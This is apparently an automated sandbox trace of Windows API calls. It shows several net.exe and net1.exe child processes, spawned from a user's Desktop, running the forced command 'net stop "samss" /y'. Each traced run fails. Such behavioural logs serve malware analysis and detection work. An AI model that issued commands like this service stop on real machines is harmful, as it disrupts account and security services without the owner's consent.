	[0248.468] NetApiBufferFree (Buffer=0x330c70) returned 0x0
	[0248.468] CloseServiceHandle (hSCObject=0x32ce50) returned 1
	[0248.469] wcscpy_s (in: _Destination=0xff3980d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0248.469] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0248.471] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff395b50, nSize=0x800, Arguments=0xff397f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0248.478] GetFileType (hFile=0xb) returned 0x2
	[0248.478] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f628 | out: lpMode=0x14f628) returned 1
	[0248.479] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff395b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x14f620, lpReserved=0x0 | out: lpBuffer=0xff395b50*, lpNumberOfCharsWritten=0x14f620*=0x47) returned 1
	[0248.480] GetFileType (hFile=0xb) returned 0x2
	[0248.481] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f628 | out: lpMode=0x14f628) returned 1
	[0248.482] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff371efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f620, lpReserved=0x0 | out: lpBuffer=0xff371efc*, lpNumberOfCharsWritten=0x14f620*=0x2) returned 1
	[0248.482] _ultow (in: _Dest=0x88f, _Radix=1373840 | out: _Dest=0x88f) returned="2191"
	[0248.482] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff395b50, nSize=0x800, Arguments=0xff397f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0248.483] GetFileType (hFile=0xb) returned 0x2
	[0248.484] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f628 | out: lpMode=0x14f628) returned 1
	[0248.485] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff395b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x14f620, lpReserved=0x0 | out: lpBuffer=0xff395b50*, lpNumberOfCharsWritten=0x14f620*=0x34) returned 1
	[0248.485] GetFileType (hFile=0xb) returned 0x2
	[0248.486] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f628 | out: lpMode=0x14f628) returned 1
	[0248.487] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff371efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f620, lpReserved=0x0 | out: lpBuffer=0xff371efc*, lpNumberOfCharsWritten=0x14f620*=0x2) returned 1
	[0248.488] NetApiBufferFree (Buffer=0x324d40) returned 0x0
	[0248.488] NetApiBufferFree (Buffer=0x32c0e0) returned 0x0
	[0248.488] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0248.488] exit (_Code=2) 

Process:
	id = "75"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x22ca1000"
	os_pid = "0x32e8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "72"
	os_parent_pid = "0x3104"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2914
	os_tid = 0x32ec

	[0251.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f8d0 | out: lpSystemTimeAsFileTime=0x26f8d0*(dwLowDateTime=0x65e32b10, dwHighDateTime=0x1d5cdef)) 
	[0251.544] GetCurrentProcessId () returned 0x32e8
	[0251.544] GetCurrentThreadId () returned 0x32ec
	[0251.544] GetTickCount () returned 0x1184155
	[0251.545] QueryPerformanceCounter (in: lpPerformanceCount=0x26f8d8 | out: lpPerformanceCount=0x26f8d8*=39329753113) returned 1
	[0251.546] GetModuleHandleW (lpModuleName=0x0) returned 0xffd70000
	[0251.546] __set_app_type (_Type=0x1) 
	[0251.546] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd89c9c) returned 0x0
	[0251.546] __getmainargs (in: _Argc=0xffd94780, _Argv=0xffd94790, _Env=0xffd94788, _DoWildCard=0, _StartInfo=0xffd9479c | out: _Argc=0xffd94780, _Argv=0xffd94790, _Env=0xffd94788) returned 0
	[0251.547] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0251.547] GetConsoleOutputCP () returned 0x1b5
	[0251.548] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffd9cec0 | out: lpCPInfo=0xffd9cec0) returned 1
	[0251.548] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0251.664] sprintf_s (in: _DstBuf=0x26f878, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0251.665] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0251.669] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0251.669] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0251.669] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0251.670] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26f610, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0251.670] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x0, Size=0x6e) returned 0x3fc060
	[0251.670] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0251.670] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x26f868 | out: Buffer=0x26f868*=0x3f4d40) returned 0x0
	[0251.671] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x26f868 | out: Buffer=0x26f868*=0x3fc0e0) returned 0x0
	[0251.671] _fileno (_File=0x7fefe122a80) returned 0
	[0251.671] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0251.671] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0251.672] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0251.672] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0251.672] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0251.672] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0251.672] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0251.672] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0251.672] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0251.672] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0251.672] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0251.672] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0251.672] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0251.672] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0251.672] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0251.672] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0251.672] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0251.672] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0251.673] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0251.673] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0251.673] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0251.673] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0251.673] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0251.673] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0251.673] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0251.673] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0251.673] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0251.673] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0251.673] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0251.674] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0251.674] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0251.674] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0251.674] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0251.674] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0251.674] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0251.674] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0251.674] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0251.674] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0251.674] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0251.675] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0251.675] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0251.675] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0251.675] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0251.675] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0251.675] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0251.675] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0251.675] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0251.675] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0251.675] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0251.675] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0251.676] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0251.676] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0251.676] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0251.676] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0251.676] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0251.676] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0251.676] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0251.676] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0251.676] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0251.676] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0251.676] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0251.676] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0251.676] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0251.676] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0251.677] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0251.677] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0251.677] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0251.678] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x3fcdf0
	[0251.689] GetServiceKeyNameW (in: hSCManager=0x3fcdf0, lpDisplayName="SAMSS", lpServiceName=0xffd95750, lpcchBuffer=0x26f788 | out: lpServiceName="", lpcchBuffer=0x26f788) returned 0
	[0251.693] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0251.693] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0251.693] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0251.693] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0251.693] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0251.693] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0251.693] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0251.693] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0251.693] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0251.693] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0251.693] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0251.693] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0251.693] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0251.693] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0251.693] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0251.693] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0251.694] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0251.694] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0251.694] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0251.694] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x26f790 | out: bufptr=0x26f790) returned 0x0
	[0251.968] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x26f748 | out: Buffer=0x26f748*=0x400c70) returned 0x0
	[0251.968] OpenServiceW (hSCManager=0x3fcdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x3fce50
	[0251.969] QueryServiceStatus (in: hService=0x3fce50, lpServiceStatus=0x26f6f0 | out: lpServiceStatus=0x26f6f0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0251.969] NetApiBufferFree (Buffer=0x400c70) returned 0x0
	[0251.969] CloseServiceHandle (hSCObject=0x3fce50) returned 1
	[0251.970] wcscpy_s (in: _Destination=0xffd980d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0251.970] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0251.973] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffd95b50, nSize=0x800, Arguments=0xffd97f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0251.978] GetFileType (hFile=0xb) returned 0x2
	[0251.979] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26f5e8 | out: lpMode=0x26f5e8) returned 1
	[0251.979] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd95b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x26f5e0, lpReserved=0x0 | out: lpBuffer=0xffd95b50*, lpNumberOfCharsWritten=0x26f5e0*=0x47) returned 1
	[0251.981] GetFileType (hFile=0xb) returned 0x2
	[0251.981] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26f5e8 | out: lpMode=0x26f5e8) returned 1
	[0251.982] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd71efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f5e0, lpReserved=0x0 | out: lpBuffer=0xffd71efc*, lpNumberOfCharsWritten=0x26f5e0*=0x2) returned 1
	[0251.983] _ultow (in: _Dest=0x88f, _Radix=2553424 | out: _Dest=0x88f) returned="2191"
	[0251.983] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffd95b50, nSize=0x800, Arguments=0xffd97f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0251.983] GetFileType (hFile=0xb) returned 0x2
	[0251.984] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26f5e8 | out: lpMode=0x26f5e8) returned 1
	[0251.984] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd95b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x26f5e0, lpReserved=0x0 | out: lpBuffer=0xffd95b50*, lpNumberOfCharsWritten=0x26f5e0*=0x34) returned 1
	[0251.985] GetFileType (hFile=0xb) returned 0x2
	[0251.986] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26f5e8 | out: lpMode=0x26f5e8) returned 1
	[0251.987] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd71efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f5e0, lpReserved=0x0 | out: lpBuffer=0xffd71efc*, lpNumberOfCharsWritten=0x26f5e0*=0x2) returned 1
	[0251.988] NetApiBufferFree (Buffer=0x3f4d40) returned 0x0
	[0251.988] NetApiBufferFree (Buffer=0x3fc0e0) returned 0x0
	[0251.988] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0251.988] exit (_Code=2) 

Process:
	id = "76"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0xb7b1000"
	os_pid = "0x1678"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3014
	os_tid = 0x1674


Process:
	id = "77"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x1c3d000"
	os_pid = "0x34a4"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3057
	os_tid = 0x34a8


Process:
	id = "78"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x1e89000"
	os_pid = "0x36d4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "76"
	os_parent_pid = "0x1678"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3188
	os_tid = 0x36d8

	[0262.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fc30 | out: lpSystemTimeAsFileTime=0x24fc30*(dwLowDateTime=0x6c35d210, dwHighDateTime=0x1d5cdef)) 
	[0262.146] GetCurrentProcessId () returned 0x36d4
	[0262.147] GetCurrentThreadId () returned 0x36d8
	[0262.147] GetTickCount () returned 0x1186ac5
	[0262.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24fc38 | out: lpPerformanceCount=0x24fc38*=40389960437) returned 1
	[0262.149] GetModuleHandleW (lpModuleName=0x0) returned 0xfffd0000
	[0262.149] __set_app_type (_Type=0x1) 
	[0262.149] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffe9c9c) returned 0x0
	[0262.149] __getmainargs (in: _Argc=0xffff4780, _Argv=0xffff4790, _Env=0xffff4788, _DoWildCard=0, _StartInfo=0xffff479c | out: _Argc=0xffff4780, _Argv=0xffff4790, _Env=0xffff4788) returned 0
	[0262.150] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0262.150] GetConsoleOutputCP () returned 0x1b5
	[0262.151] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffffcec0 | out: lpCPInfo=0xffffcec0) returned 1
	[0262.151] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0262.156] sprintf_s (in: _DstBuf=0x24fbd8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0262.156] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0262.160] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0262.160] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0262.160] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0262.160] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24f970, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0262.161] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x6e) returned 0xdc060
	[0262.161] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0262.161] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24fbc8 | out: Buffer=0x24fbc8*=0xd4d40) returned 0x0
	[0262.161] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24fbc8 | out: Buffer=0x24fbc8*=0xdc0e0) returned 0x0
	[0262.161] _fileno (_File=0x7fefe122a80) returned 0
	[0262.161] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0262.162] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0262.162] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0262.162] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0262.162] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0262.162] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0262.162] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0262.162] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0262.162] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0262.162] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0262.162] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0262.162] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0262.162] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0262.162] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0262.162] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0262.162] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0262.162] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0262.163] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0262.163] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0262.163] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0262.163] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0262.163] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0262.163] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0262.163] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0262.163] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0262.163] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0262.163] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0262.163] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0262.163] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0262.163] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0262.163] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0262.163] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0262.164] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0262.164] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0262.164] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0262.164] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0262.164] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0262.164] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0262.164] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0262.164] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0262.164] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0262.164] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0262.164] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0262.164] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0262.164] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0262.164] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0262.164] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0262.164] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0262.165] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0262.165] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0262.165] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0262.165] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0262.165] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0262.165] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0262.165] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0262.165] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0262.165] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0262.165] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0262.165] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0262.165] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0262.165] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0262.165] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0262.165] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0262.165] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0262.165] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0262.165] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0262.166] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0262.166] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0xdcdf0
	[0262.176] GetServiceKeyNameW (in: hSCManager=0xdcdf0, lpDisplayName="SAMSS", lpServiceName=0xffff5750, lpcchBuffer=0x24fae8 | out: lpServiceName="", lpcchBuffer=0x24fae8) returned 0
	[0262.339] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0262.339] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0262.339] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0262.339] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0262.339] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0262.339] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0262.339] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0262.339] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0262.339] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0262.339] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0262.339] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0262.339] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0262.339] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0262.339] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0262.339] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0262.340] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0262.340] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0262.340] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0262.340] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0262.340] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x24faf0 | out: bufptr=0x24faf0) returned 0x0
	[0262.344] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x24faa8 | out: Buffer=0x24faa8*=0xe0c70) returned 0x0
	[0262.344] OpenServiceW (hSCManager=0xdcdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0xdce50
